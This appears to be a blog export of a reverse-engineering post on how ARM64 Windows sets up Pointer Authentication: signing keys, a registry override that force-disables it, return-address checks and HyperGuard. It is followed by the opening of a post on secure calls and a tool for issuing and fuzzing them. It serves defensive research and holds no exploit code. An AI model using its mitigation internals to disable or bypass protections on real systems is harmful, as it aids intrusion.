<p>PAC enablement on Windows begins at the entry point of <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code>, <code class="language-plaintext highlighter-rouge">KiSystemStartup</code>. <code class="language-plaintext highlighter-rouge">KiSystemStartup</code> is responsible for determining if PAC is supported on Windows and also for initializing basic PAC support. <code class="language-plaintext highlighter-rouge">KiSystemStartup</code> receives the <em>loader parameter block</em> (<code class="language-plaintext highlighter-rouge">LOADER_PARAMETER_BLOCK</code>) from <code class="language-plaintext highlighter-rouge">winload.efi</code>, the Windows boot loader. The loader block denotes if PAC is supported. Specifically, the loader parameter block extension (<code class="language-plaintext highlighter-rouge">LOADER_PARAMETER_EXTENSION</code>) portion of the loader block defines a bitmask of various features which are present/supported, so say the boot loader. The <code class="language-plaintext highlighter-rouge">PointerAuthKernelIpEnabled</code> bit of this bitmask denotes if PAC is supported. If PAC is supported, the loader parameter block extension is also responsible for providing the initial PAC signing key (<code class="language-plaintext highlighter-rouge">PointerAuthKernelIpKey</code>) used to sign and authenticate all kernel-mode pointers (we will see later that the “current” signing key is updated many times). When execution is occurring in kernel-mode, this is the key used to sign kernel-mode pointers. The bootloader generates the key in OslPrepareTarget by calling the function <code class="language-plaintext highlighter-rouge">SymCryptRngAesGenerate</code> to generate the initial kernel pointer signing key passed via the loader parameter block.</p>

<p><img src="/images/pac2.png" alt="" /></p>

<p>The ARM architecture supports having <em>multiple</em> signing keys for different scenarios, like signing instruction pointers or data pointers with <em>different</em> keys. Typically, “key A” and “key B” (as they are referred to), which are stored in specific system registers, are used for signing pointers used in instruction executions (like return addresses). Windows currently only uses PAC for “instruction pointers” (more on this later) and it also it only uses “key B” for cryptographic signatures and, therefore, loads the target pointer signing value into the <a href="https://developer.arm.com/documentation/ddi0601/2025-06/AArch64-Registers/APIBKeyLo-EL1--Pointer-Authentication-Key-B-for-Instruction--bits-63-0--"><code class="language-plaintext highlighter-rouge">APIBKeyLo_EL1</code></a> and <a href="https://developer.arm.com/documentation/ddi0601/2025-06/AArch64-Registers/APIBKeyHi-EL1--Pointer-Authentication-Key-B-for-Instruction--bits-127-64--?lang=en"><code class="language-plaintext highlighter-rouge">APIBKeyHi_EL1</code></a> AArch64 system registers. These “key registers” are specific system registers, which are special registers on ARM systems which control various behaviors/controls/statuses for the system, and are responsible for maintaining the current keys used for signing and authenticating pointers. These two registers (“lo” and hi”) each hold a single 64-bit value, which results in a concatenated 128-bit key. EL1, in this case, refers to <em>exception level</em> “1” - which denotes the ARM-equivalent of “privilege level” the CPU is running in (as ARM-based CPUs are “exception-oritented”, meaning system calls, interrupts, etc. are all treated as “exceptions”). Typically EL1 is associated with kernel-mode. User-mode and kernel-mode, for Windows, share EL1’s signing key register (although the “current” signing key in the register changes depending on if a processor is executing in kernel-mode or user-mode). It should be noted that although the signing key for user-mode is stored in an EL1 register, the register itself (e.g., reading/writing) is <em>inaccessible</em> from user-mode (EL 0).</p>

<p><img src="/images/pac3.png" alt="" /></p>

<p>It is possible to examine the current signing key values using WinDbg. Although WinDbg, on ARM systems, has no extension to read from these system registers, it was discovered through trial-and-error that it is possible to leverage the <code class="language-plaintext highlighter-rouge">rdmsr</code> command in WinDbg to read from ARM system registers using the encoding values provided by the ARM documentation. The two PAC key system registers used by Windows have the following encodings:</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">APIBKeyLo_EL1</code>
    <ul>
      <li>op0: <code class="language-plaintext highlighter-rouge">0b11</code> (3)</li>
      <li>op1: <code class="language-plaintext highlighter-rouge">0b000</code> (0)</li>
      <li>CRn: <code class="language-plaintext highlighter-rouge">0b0010</code> (2)</li>
      <li>CRm: <code class="language-plaintext highlighter-rouge">0b0001</code> (1)</li>
      <li>op2: <code class="language-plaintext highlighter-rouge">0b010</code> (2)</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">APIBKeyHigh_EL1</code>
    <ul>
      <li>op0: <code class="language-plaintext highlighter-rouge">0b11</code> (3)</li>
      <li>op1: <code class="language-plaintext highlighter-rouge">0b000</code> (0)</li>
      <li>CRn: <code class="language-plaintext highlighter-rouge">0b0010</code> (2)</li>
      <li>CRm: <code class="language-plaintext highlighter-rouge">0b0001</code> (1)</li>
      <li>op2: <code class="language-plaintext highlighter-rouge">0b011</code> (3)</li>
    </ul>
  </li>
</ol>

<p>Concatenating these binary values into their hexadecimal values, it is then possible to leverage the <code class="language-plaintext highlighter-rouge">rdmsr</code> command to view the current signing key values:</p>

<p><img src="/images/pac4.png" alt="" /></p>

<p>After the initial signing key value has been configured, the kernel continues executing its entry point in order to continue to fill out some of the basic functionality of the kernel (although the kernel is not done yet being fully initialized). Almost immediately after performing basic PAC initialization, the function <code class="language-plaintext highlighter-rouge">KiInitializeBootStructures</code> is called from the kernel entry point, which also receives the loader parameter block and initializes various items such as the feature settings bitmask, setting the proper stack sizes (especially for “special” stacks like ISR stacks and DPC stacks), etc. One of those crucial things that this function does is call into <code class="language-plaintext highlighter-rouge">KiDetectPointerAuthSupport</code>, which is responsible for the bulk of the PAC initialization. This function is responsible for reading from the appropriate PAC-related ARM system registers in order to determine what specific PAC features the current CPU is capable of supporting.</p>

<p><img src="/images/pac5.png" alt="" /></p>

<p><img src="/images/pac6.png" alt="" /></p>

<p>After the current CPU’s supported options are configured, “phase 0” of the system initialization process (achieved via <code class="language-plaintext highlighter-rouge">KeInitsystem</code>) will fully enable PAC. Currently, on Windows 11 24H2 and 25H2 preview builds, enablement is gated through a feature flag called <code class="language-plaintext highlighter-rouge">Feature_Pointer_Auth_User__private_featureState</code>. If the feature flag is enabled, a secondary check is performed to determine if a registry override option to disable PAC was present. Additionally, if the PAC feature flag is disabled, a check is performed to see if a registry override to enable PAC is present. The applicable registry paths are:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">HKLM\System\CurrentControlSet\Control\Session Manager\Kernel\PointerAuthUserIpEnabled</code></li>
  <li><code class="language-plaintext highlighter-rouge">HKLM\System\CurrentControlSet\Control\Session Manager\Kernel\PointerAuthUserIpForceDisabled</code></li>
</ul>

<p><img src="/images/pac7.png" alt="" /></p>

<p>Note that the “enablement” flags are not directly tied one-to-one to the “supported flags”. As previously seen, <code class="language-plaintext highlighter-rouge">KePointerAuthEnabled</code> is masked with the value 4 in <code class="language-plaintext highlighter-rouge">KiSystemStartup</code> before the “supported” options are even evaluated. Additionally, note that the <code class="language-plaintext highlighter-rouge">KePointerAuthEnabled</code> variable is marked as read-only and is present in the <code class="language-plaintext highlighter-rouge">CFGRO</code> section, which is also read-only in the VTL 0 guest page tables (known in ARM as the “Stage 2 tables” with “Stage 2” tables being the final level of translation from guest memory to system memory) thanks to the services of <a href="https://connormcgarr.github.io/hvci/">Hypervisor-Protected Code Integrity (HVCI)</a>, along with <code class="language-plaintext highlighter-rouge">KePointerAuthKernelIpKey</code> and <code class="language-plaintext highlighter-rouge">KePointerAuthMask</code>. As seen below, even using WinDbg, it is impossible to overwrite these global variables as they are read-only in the “Stage 2” page tables.</p>

<p><img src="/images/pac8.png" alt="" /></p>

<p>As an aside, the supported and enabled PAC features can be queried via <code class="language-plaintext highlighter-rouge">NtQuerySystemInformation</code> through the <code class="language-plaintext highlighter-rouge">SystemPointerAuthInformation</code> class:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\&gt;C:\WindowsPAC.exe
[+] System Pointer Authentication Control (PAC) settings:
  [&gt;] SupportedFlags: 0x1F
  [&gt;] EnabledFlags: 0x101
    [*] AddressAuthFaulting: TRUE
    [*] AddressAuthQarma: TRUE
    [*] AddressAuthSupported: TRUE
    [*] GenericAuthQarma: TRUE
    [*] GenericAuthSupported: TRUE
    [*] KernelIpAuthEnabled: TRUE
    [*] UserGlobalIpAuthEnabled: FALSE
    [*] UserPerProcessIpAuthEnabled: TRUE
</code></pre></div></div>

<p>Once the appropriate PAC-related initialization flags have been set, PAC is then enabled on a per-process basis (if per-process PAC is supported, which currently on Windows it is). For user-mode PAC, the enablement process begins at process creation, specifically during the allocation of the new process object. If PAC is enabled, each user-mode process (meaning <code class="language-plaintext highlighter-rouge">EPROCESS-&gt;Flags3.SystemProcess</code> is not set) is unconditionally opted-in to PAC (as all kernel-mode code shares a global signing key).</p>

<p><img src="/images/pac9.png" alt="" /></p>

<p>Additionally, likely as a side effect of Intel CET enablement on x86-based installations of Windows, the mitigation value <a href="https://windows-internals.com/cet-updates-dynamic-address-ranges/"><code class="language-plaintext highlighter-rouge">CetDynamicApisOutOfProcOnly</code></a> is also set unconditionally for <em>every</em> process except for the Idle process on Windows.</p>

<p><img src="/images/pac10.png" alt="" /></p>

<p>For the sake of completeness, the CET dynamic address range feature is not actually supported as the <code class="language-plaintext highlighter-rouge">PROCESSINFOCLASS</code> enum value <code class="language-plaintext highlighter-rouge">ProcessDynamicEnforcedCetCompatibleRanges</code>, for the <code class="language-plaintext highlighter-rouge">NtSetInformationProcess</code> system service, always returns <code class="language-plaintext highlighter-rouge">STATUS_NOT_SUPPORTED</code> on Windows ARM systems.</p>

<p><img src="/images/pac11.png" alt="" /></p>

<p>Returning to user-mode PAC, Windows SDK contains two documented ways to enable/disable PAC for user-mode processes. For extended process creation parameters, the following parameters are available in the SDK:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//</span>
<span class="c1">// Define the ARM64 user-mode per-process instruction pointer authentication</span>
<span class="c1">// mitigation policy options.</span>
<span class="c1">//</span>

<span class="cp">#define PROCESS_CREATION_MITIGATION_POLICY2_POINTER_AUTH_USER_IP_MASK                      (0x00000003ui64 &lt;&lt; 44)
#define PROCESS_CREATION_MITIGATION_POLICY2_POINTER_AUTH_USER_IP_DEFER                     (0x00000000ui64 &lt;&lt; 44)
#define PROCESS_CREATION_MITIGATION_POLICY2_POINTER_AUTH_USER_IP_ALWAYS_ON                 (0x00000001ui64 &lt;&lt; 44)
#define PROCESS_CREATION_MITIGATION_POLICY2_POINTER_AUTH_USER_IP_ALWAYS_OFF                (0x00000002ui64 &lt;&lt; 44)
#define PROCESS_CREATION_MITIGATION_POLICY2_POINTER_AUTH_USER_IP_RESERVED                  (0x00000003ui64 &lt;&lt; 44)
</span></code></pre></div></div>

<p>Additionally, for runtime enablement/disablement, the following structure can be supplied with the <code class="language-plaintext highlighter-rouge">ProcessUserPointerAuthPolicy</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="n">_PROCESS_MITIGATION_USER_POINTER_AUTH_POLICY</span> <span class="p">{</span>
    <span class="k">union</span> <span class="p">{</span>
        <span class="n">DWORD</span> <span class="n">Flags</span><span class="p">;</span>
        <span class="k">struct</span> <span class="p">{</span>
            <span class="n">DWORD</span> <span class="n">EnablePointerAuthUserIp</span> <span class="o">:</span> <span class="mi">1</span><span class="p">;</span>
            <span class="n">DWORD</span> <span class="n">ReservedFlags</span> <span class="o">:</span> <span class="mi">31</span><span class="p">;</span>
        <span class="p">}</span> <span class="n">DUMMYSTRUCTNAME</span><span class="p">;</span>
    <span class="p">}</span> <span class="n">DUMMYUNIONNAME</span><span class="p">;</span>
<span class="p">}</span> <span class="n">PROCESS_MITIGATION_USER_POINTER_AUTH_POLICY</span><span class="p">,</span> <span class="o">*</span><span class="n">PPROCESS_MITIGATION_USER_POINTER_AUTH_POLICY</span><span class="p">;</span>
</code></pre></div></div>

<p>However, testing and reverse engineering revealed that PAC is unconditionally enabled on user-mode processes (as shown above) with no way to disable the mitigation either at process creation (e.g., creating a child process with extended parameters) or by calling <code class="language-plaintext highlighter-rouge">SetProcessMitigationPolicy</code> at runtime. The only other supported way to enable a process mitigation at process creation is to use the <code class="language-plaintext highlighter-rouge">ImageFileExecutionOptions</code> (IFEO) registry key. This functionality is wrapped by the “Exploit Protection” UI on Windows systems, but the registry value can be set manually. Unfortunately, there is no PAC Exploit Protection setting in the UI.</p>

<p><img src="/images/pac12.png" alt="" /></p>

<p>Outside of the exploit mitigation policy for PAC, there is also an <em>audit-mode</em> exploit mitigation policy option in the <code class="language-plaintext highlighter-rouge">ImageFileExecutionOptions</code> policy map. This can be confirmed through the presence of the mitigation flag values of <code class="language-plaintext highlighter-rouge">AuditPointerAuthUserIp</code> and <code class="language-plaintext highlighter-rouge">AuditPointerAuthUserIpLogged</code> in the <code class="language-plaintext highlighter-rouge">MitigationFlags2Values</code> field of a process object on Windows.</p>

<p>The IFEO registry key contains a list of processes that have IFEO values. One of the items encapsulated in the IFEO key, as mentioned, is both the mitigation policy settings and <em>audit-mode</em> mitigation policy settings (meaning that an ETW event is logged but the target operation is not blocked/process is not terminated by a mitigation violation) for a target process. These per-process mitigation values are used in making considerations about what mitigation policies will be applied to a particular target process at process creation time. On a default installation of Windows 11 24H2 running an ARM build of Windows, no processes have the audit-mode PAC flags set.</p>

<p><img src="/images/pac13.png" alt="" /></p>

<p>Further investigation reveals that this is because there is no way to set the PAC audit-mode exploit policy value on a per-process basis, even through the IFEO key. This is because if pointer authentication is enabled, for example, the slot in the map (represented by the <code class="language-plaintext highlighter-rouge">0x000000000000X000</code> nibble) in which audit-mode PAC may be enabled is explicitly overridden by <code class="language-plaintext highlighter-rouge">PspAllocateProcess</code> (and no ETW event exists in the manifest of the <code class="language-plaintext highlighter-rouge">Microsoft-Windows-Security-Mitigations</code> ETW provider for PAC violations).</p>

<p><img src="/images/pac14.png" alt="" /></p>

<p>Once PAC support has been instantiated for the process, the per-process signing key is configured. Yes, this means that each process has its own key it can use to sign pointers. This occurs in <code class="language-plaintext highlighter-rouge">PspAllocateProcess</code> and, if a process has not opted in to inheriting the signing key, a random key is generated with <code class="language-plaintext highlighter-rouge">BCryptGenRandom</code>.</p>

<p><img src="/images/pac15.png" alt="" /></p>

<p>The “per-process” signing key differs from the initial (kernel) signing key that was configured in <code class="language-plaintext highlighter-rouge">KiSystemStartup</code>. This is because, obviously, execution is in kernel mode when the initial signing key is instantiated. However, the implementation of PAC on Windows (as we can see above) instruments a per-process signing key (along with a single kernel key). When execution transitions into user mode, the signing key system register(s) are updated to the current process signing key (which is maintained through a process object). The example below outlines the current PAC signing key being updated to that of a user-mode process, specifically when a return into user-mode happens after a system call is handled by the kernel (<code class="language-plaintext highlighter-rouge">KiSystemServiceExit</code>).</p>

<p><img src="/images/pac16.png" alt="" /></p>

<p>This is how the necessary PAC infrastructure is updated for user-to-kernel and kernel-to-user transitions and how kernel-mode and user-mode PAC on Windows is set up. Let’s now examine what Windows does when the proper infrastructure is in place.</p>

<h2 id="windows-pac-as-an-exploit-mitigation">Windows PAC As An Exploit Mitigation</h2>
<p>Windows <a href="https://devblogs.microsoft.com/oldnewthing/20220819-00/?p=107020">currently</a> offers an implementation of PAC (with the ability to expand in the future). Windows currently supports PAC for signing and authenticating “instruction pointers”. The way that this manifests itself, however, really results in the signing of return addresses. On Windows, for both user-mode and kernel-mode ARM64 code, one can specify the <code class="language-plaintext highlighter-rouge">/guard:signret(-)</code> compiler flag to either explicitly enable or disable the signing of return addresses. Enabling this flag instruments the <code class="language-plaintext highlighter-rouge">pacibsp</code> and <code class="language-plaintext highlighter-rouge">autibsp</code> instructions into the prologue and epilogue of each function, which are “PAC” instructions used to both sign and subsequently validate return addresses.</p>

<p>In the ARM64 architecture, the semantics of preserving return addresses across call boundaries slightly differ from Intel x86. On x86-based systems, a <code class="language-plaintext highlighter-rouge">call</code> instruction will also push the target return address onto the stack. Then, right before a return, the aforementioned return address is “popped” off of the stack and loaded into the instruction pointer. On ARM64 the <code class="language-plaintext highlighter-rouge">bl</code> (Branch with Link, similar to a call) instruction will instead place the current, in-scope return address an architectural register (<code class="language-plaintext highlighter-rouge">lr</code>, or “link register”) with a typical operating system, like Windows, also storing this value on the stack to preserve the return address so the <code class="language-plaintext highlighter-rouge">lr</code> register can be used for the next call’s return address (meaning the return addresses are still stored on the stack on ARM, even with the presence of <code class="language-plaintext highlighter-rouge">lr</code>).</p>

<p>The <code class="language-plaintext highlighter-rouge">pacibsp</code> instruction will use “key b” (<code class="language-plaintext highlighter-rouge">APIBKeyLo_EL1</code> and <code class="language-plaintext highlighter-rouge">APIBKeyHi_EL1</code>) and the value of the in-scope stack pointer to sign the return address. The target return address will remain in this state, with the upper bits (non-canonical) being transformed through the signing.</p>

<p><img src="/images/pac17.png" alt="" /></p>

<p>This assumes, however, that there is already a return address to process. What if a user-mode thread, for example, is just entering its initial execution, and there is no return address? Windows has two functions (for user-mode and kernel-mode) that will generate the necessary “first” signed return address via <code class="language-plaintext highlighter-rouge">KiGenerateSignedReturnAddressForStartUserThread</code>. These functions accept the initial stack value as the value to use in the signing of the return address, using instead the pacib instruction, which is capable of using a general-purpose architectural register in the signing process instead of just defaulting to “the current stack pointer”.</p>

<p><img src="/images/pac18.png" alt="" /></p>

<p>At this point, the return address (stored in <code class="language-plaintext highlighter-rouge">lr</code>, but also present on the stack) has been signed. The in-scope function performs its work and eventually the epilogue of a function is reached (which is responsible for returning to the caller for the current function). When the epilogue is reached, but before the <code class="language-plaintext highlighter-rouge">ret</code> has been executed, the <code class="language-plaintext highlighter-rouge">autibsp</code> instruction is used to authenticate the return address (in <code class="language-plaintext highlighter-rouge">lr</code>) before performing the return control-flow transfer. This will result in transforming the value in <code class="language-plaintext highlighter-rouge">lr</code> back to the “original” return address so that the return occurs back into a valid memory address.</p>

<p><img src="/images/pac19.png" alt="" /></p>

<p>The effectiveness of PAC, however, relies on what happens if a return address has been corrupted with a malicious return address, like a ROP gadget or the corruption of a return address through a stack-based buffer overflow. In the example below, this is outlined by corrupting a return address on the stack with another return address on the stack. Both of these addresses used in this memory corruption example are signed, but, as we can recall from earlier, return addresses are signed with the considerations of the current in-scope stack pointer (meaning they are tied to a stack frame). Because the corrupted return address does not correspond to an “in-scope” stack frame, the authentication of the in-scope return address (which has been corrupted) results in a <code class="language-plaintext highlighter-rouge">__fastfail</code> with the code <code class="language-plaintext highlighter-rouge">FAST_FAIL_POINTER_AUTH_INVALID_RETURN_ADDRESS</code> - and the application crashes. One interesting note, as you can see, is that WinDbg can convert a signed return address on the stack to its actual unsigned value (and appropriate symbol name).</p>

<p><img src="/images/pac20.png" alt="" /></p>

<p>Shifting focus slightly, when a kernel-mode PAC violation, identical to the previous scenario, occurs, a <code class="language-plaintext highlighter-rouge">KERNEL_SECURITY_CHECK_FAILURE</code> ensues, with the type of memory safety violation being <code class="language-plaintext highlighter-rouge">FAST_FAIL_POINTER_AUTH_INVALID_RETURN_ADDRESS</code>.</p>

<p><img src="/images/pac21.png" alt="" /></p>

<h2 id="secure-kernel-and-pac">Secure Kernel And PAC</h2>
<p>The curious reader may notice that the kernel itself is responsible for managing the key values for PAC. Additionally, we already covered the fact that the in-memory variable which tracks the kernel’s PAC signing key (used to sign kernel pointers) is read-only in VTL 0 memory thanks to the services of HVCI. However, the in-memory representation is simply a reflection of the system register value(s) we have talked about before - the <code class="language-plaintext highlighter-rouge">APIBKeyLo_EL1</code> and <code class="language-plaintext highlighter-rouge">APIBKeyHi_EL</code> AArch64 registers (specifically when execution is in kernel-mode, loading the per-boot kernel-mode PAC key). What is preventing an attacker, in kernel-mode, from modifying the contents of this system register at any given time? After all, the register is writable from kernel-mode because the configuration is not delegated to a higher security boundary? To help alleviate this problem, <a href="https://windows-internals.com/hyperguard-secure-kernel-patch-guard-part-1-skpg-initialization/">Secure Kernel Patch Guard</a>, more commonly referred to as “HyperGuard” - a security feature promulgated by the Secure Kernel - is used! HyperGuard achieves much of what PatchGuard attempts to defend against (modification of kernel data structures, MSRs on x86 systems, control registers, etc.) but it does so <em>deterministically</em>, as opposed to PatchGuard, because HyperGuard runs at a higher security boundary than the code it is attempting to defend (VTL 0’s kernel).</p>

<p>HyperGuard uses what is known as extents, which are definitions of what components/code/data/etc. should be protected by HyperGuard. On ARM64 installations of Windows, an ARM64-specific HyperGuard extent exists - the PAC system register extent. This extent is used by HyperGuard to ask the hypervisor to intercept certain items of interest - such as modifications to an MSR (or ARM64 system register), certain memory access operations, etc. Specifically for the ARM64 version of the Secure Kernel, an extent is registered for monitoring modifications to the PAC key system registers. This is done in <code class="language-plaintext highlighter-rouge">securekernel!SkpgxInitializeInterceptMasks</code>.</p>

<p><img src="/images/pac22.png" alt="" /></p>

<p>Although ARM-based hypervisors do not have “Virtual Machine Control Structure”, or VMCS (in the “canonical” sense that x86-based systems do, such as having dedicated instructions in the ISA for reading/writing to the VMCS), ARM hypervisors still must maintain the “state” of a guest. This, obviously, is used in situations like when a processor starts executing in context of the hypervisor software (due to a hypervisor call (HVC call), or other exceptions into the hypervisor), or when a guest starts resuming its execution. Part of this state - as is the case with x86-based systems - is the set of <em>virtual registers</em> (e.g., registers which are preserved across exception level changes into/out of the hypervisor and are specific to a guest). Among the virtual registers which are configurable by the hypervisor are, as you may have guessed, the “lo” and “hi” PAC signing key registers! This is what the function from the screenshot above intends to achieve - <code class="language-plaintext highlighter-rouge">securekernel!SkpgArm64ReadRegister64</code>. Microsoft <a href="https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/tlfs/datatypes/hv_register_name">documents</a> many of the 64-bit virtualized-registers. Among the undocumented registers, however, are the ARM-based virtualized registers. However, we can see above that values <code class="language-plaintext highlighter-rouge">0x4002E</code> and <code class="language-plaintext highlighter-rouge">0x4002F</code> correspond to the virtual/private PAC signing registers. For completeness sake, <code class="language-plaintext highlighter-rouge">0x40002</code> corresponds to <code class="language-plaintext highlighter-rouge">SCTLR_EL1</code>. This was determined by examining the bit being processed (bit 30, via the <code class="language-plaintext highlighter-rouge">0x40000000</code> mask). This was previously seen, in the beginning of our analysis, by the toggling of <code class="language-plaintext highlighter-rouge">SCTLR_EL1.EnIB</code> bit (bit 30).</p>

<p>This entire configuration allows the Secure Kernel to intercept, via HyperGuard, any unauthorized modification of the PAC signing key register.</p>

<h2 id="conclusion">Conclusion</h2>
<p>ARM-based processors, without the presence of backwards-edge control flow integrity (CFI) mitigations like <a href="https://connormcgarr.github.io/km-shadow-stacks/">CET</a>, are able to effectively leverage PAC to defend against return address corruption. Windows, as we have seen, currently leverages PAC only in limited circumstances (like the protection of return addresses), which is standard on many mainstream implementations of PAC (with the ability in the future, if feasible, to expand into protection of data accesses). PAC provides a viable solution to protect non-x86-based processors from certain classes of memory corruption exploits. In addition, current-generation ARM64 Microsoft devices, like the Surface Pro, are not shipped with chips that can support the <a href="https://developer.arm.com/documentation/108035/0100/Introduction-to-the-Memory-Tagging-Extension">Memory Tagging Extension (MTE)</a> feature. Although not implemented today on Windows systems, the implementation of both PAC and MTE in the future would serve to greatly increase the cost of memory corruption exploits. Given the protections afforded by the hypervisor, plus the current implementation of PAC, ARM-based Windows provides both user-mode and kernel-mode code with additional security against memory corruption exploits.</p>]]></content><author><name>Connor McGarr</name></author><category term="posts" /><summary type="html"><![CDATA[Examining the implementation and implication of PAC in user-mode and kernel-mode on ARM64 Windows]]></summary></entry><entry><title type="html">Windows Internals: Secure Calls - The Bridge Between The NT Kernel and Secure Kernel</title><link href="/secure-calls-and-skbridge/" rel="alternate" type="text/html" title="Windows Internals: Secure Calls - The Bridge Between The NT Kernel and Secure Kernel" /><published>2025-09-06T00:00:00+00:00</published><updated>2025-09-06T00:00:00+00:00</updated><id>/secure-calls-and-skbridge</id><content type="html" xml:base="/secure-calls-and-skbridge/"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>As I have <a href="https://connormcgarr.github.io/secure-images/">talked</a> about <a href="https://connormcgarr.github.io/km-shadow-stacks/">before</a>, often times the “normal” kernel, which runs in <a href="https://connormcgarr.github.io/hvci/">Virtual Trust Level 0</a> (VTL 0), requires the services of the Secure Kernel in VTL 1. Though VTL 1 is both a higher security boundary and isolated from VTL 0 often times VTL 0 needs “help” from VTL 1, or VTL 0 needs to enlighten VTL 1 about something which happened in VTL 0. For various reasons - whether any “less-trusted” security boundary needs to enlighten any other “more-trusted” security boundary about something which has occured, or because the less-trusted boundary does not have access to resources that the more-trusted boundary does - there is still <em>some</em> sort of interaction (although many times limited) between security boundaries. VTL 0 &lt;-&gt; VTL 1 is no different.</p>

<p>Communication between VTLs is certainly, in my opinion, an interesting thing. Because of this I decided to write this blog post about the <em>secure call</em> interface, which allows VTL 0 to request the services of VTL 1, or to allow VTL 0 to enlighten VTL 1 with various information. Additionally I am releasing a tool on the same subject called <a href="https://github.com/connormcgarr/SkBridge">SkBridge</a>, which is capable of issuing secure calls with user-specified parameters.</p>

<p>The reason this piqued my interest is for a few reasons. Firstly, secure calls are often made <em>inline</em> of various kernel operations, and are not made to be directly-callable. Because of this the arguments of secure calls are often fairly low-level and require reverse engineering to understand what kind of data is being passed to VTL 1 (and also what is received back from VTL 1 in VTL 0). This provoked me to try to create a harness (SkBridge) which could attempt to <em>generically</em> allow one to issue secure calls. Second, I like hypervisors a lot and I thought it would be interesting, since VTL 0 and VTL 1 are in isolated regions of physical memory, to see how the hypervisor “brokers” secure calls (and secure returns, which are transitions from VTL 1 to VTL 0 after a secure call). Since Hyper-V ships with no symbols, I thought this could be interesting to try and reverse engineer some of this functionality.</p>

<p>Another motivating factor for this tool and post were two older <a href="https://www.alex-ionescu.com/writing-a-hyper-v-bridge-for-fuzzing-part-1-wdf/">posts</a> by my dear friend and someone who always helps me, Alex Ionescu, about writing a bridge to fuzz hypercalls. I thought it might be interesting to achieve this at a “bit of a higher level” with secure calls specifically (which uses hypercalls under the hood).</p>

<p>This post will be taking a look at the architecture which allows NT, which is in a completely isolated region of physical memory from the Secure Kernel, to “hand off” execution to the Secure Kernel, as well as showcase some of the common patterns NT and SK use in regards to copying and encapsulating parameters and output from VTL 0 &lt;-&gt; VTL 1 and VTL 1 &lt;-&gt; VTL 0.</p>

<h2 id="secure-call-interface">Secure Call Interface</h2>
<p>As a primer, there are a few different mechanisms which exist for communication between the Secure Kernel and NT. Namely they are:</p>

<ol>
  <li>Secure calls</li>
  <li>Normal calls</li>
  <li>Secure system calls (does not result, technically speaking, in VTL 1 talking to VTL 0)</li>
</ol>

<p>Normal calls allow the Secure Kernel to request the services of NT. The Secure Kernel is a small binary which only implements functionality it needs in order to avoid exposing a large attack surface. Notably, as an example, file I/O is not present in the Secure Kernel and requests to write to a file (like a crash dump for an IUM “trustlet” that is configured to allow a crash dump to occur, also known as a “secure process”) are actually delegated to NT.</p>

<p>Secure system calls provide services specifically to secure process running in VTL 1 (again, like a trustlet) and do not result in a “transition” between SK and NT (because the target system call is not in VTL 0, but in VTL 1).</p>

<p>This blog post will instead focus on the <em>secure call</em> interface, which often is erroneously called the “secure system call” interface (even by myself! The terms are confusing!).</p>

<p>The secure call interface allows the NT kernel, in VTL 0, to request the services of the Secure Kernel in VTL 1. Many of us will “jump” to the comparison of the secure call interface to that of the typical system call interface - and rightly so. In a secure call operation the NT kernel (in VTL 0) will package up some parameters that make up the secure call request and those parameters will be delivered to the Secure Kernel, who takes those parameters, fulfills the request, and returns a status (and potentially some output) to the NT kernel - very similarily to a typical system call.</p>

<p>However, there are only two components at play for the traditional system call interface - user-mode and kernel-mode (in which which a transition of the CPU occurs into kernel-mode, with a few nuances like switching to the thread’s kernel stack, etc.). It is important to note, however, that there is not such a “direct pipe” which allows the processor to start executing “in context of the Secure Kernel”, similar to when execution begins in kernel-mode for a particular system call.</p>

<p>The secure call interface is really a “wrapper” for a specifc <em>hypercall</em>. A hypercall is a special operation (represented by the <code class="language-plaintext highlighter-rouge">vmcall</code> instruction) which transitions a processor which was previously executing in context of a <em>guest</em> (e.g., the processor was running code in context of a virtual machine, also known as guest) to what is known as Virtual Machine Monitor, or VMM mode (meaning execution on the processor is now executing in context of the hypervisor). This means that a hypercall is responsible for transitioning execution to the hypervisor (meaning for a secure call there are three components: the NT kernel, hypervisor, and Secure Kernel).</p>

<p><img src="/images/securecall_vmexit.png" alt="" /></p>

<p>One common misconception is that the Secure Kernel “runs in the hypervisor”. This is actually not true. The Secure Kernel runs in an <em>isolated physical address space</em> (VTL 1), just like any other VM. When a secure call occurs, it is not NT being “directly piped” to SK. It is the hypervisor which then brokers the execution to the Secure Kernel when the “secure call hypercall” is received.</p>

<p>As I just mentioned, when a secure call happens a hypercall occurs. A hypercall is really just a very-specific way to cause a <em>VM Exit</em>. A VM exit is an “event” which occurs when the target processor goes from executing in context of a guest to executing in context of the hypervisor. Hypervisors typically register what is known as a “VM exit handler” in order to understand why the VM exit occurred and also how to handle the reason for the VM exit.</p>

<p>This means that when the secure call occurs it is Hyper-V’s VM exit handler which first starts executing (not the Secure Kernel) because a hypercall causes a VM exit. It is then up to Hyper-V to transition execution eventually to the Secure Kernel.</p>

<p>So what is the “difference between a secure call and hypercall”? The Microsoft Hypervisor Top Level Functional Specification, (also known as the TLFS), <a href="https://github.com/MicrosoftDocs/Virtualization-Documentation/blob/main/tlfs/Hypervisor%20Top%20Level%20Functional%20Specification%20v5.0C.pdf">contains</a> a list of all of the supported hypercalls. The answer to our question is that the “secure call” interface is effectively just a wrapper for the <code class="language-plaintext highlighter-rouge">HvCallVtlCall</code> hypercall! In other words, when a secure call occurs a <em>specific</em> hypercall is issued - causing a VM exit into Hyper-V. In NT, a pointer to the stub dedicated to this hypercall can be found at <code class="language-plaintext highlighter-rouge">nt!HvlpVsmVtlCallVa</code>.</p>

<p><img src="/images/securecall1.png" alt="" /></p>

<p>The “secure call hypercall code” is that of <code class="language-plaintext highlighter-rouge">0x11</code>, or 17 in decimal. This effectively means a secure call is “just” a hypercall which specifies this code. This specific hypercall code is a hint to Hyper-V which indicates that VTL 0 would like to request the services of VTL 1.</p>

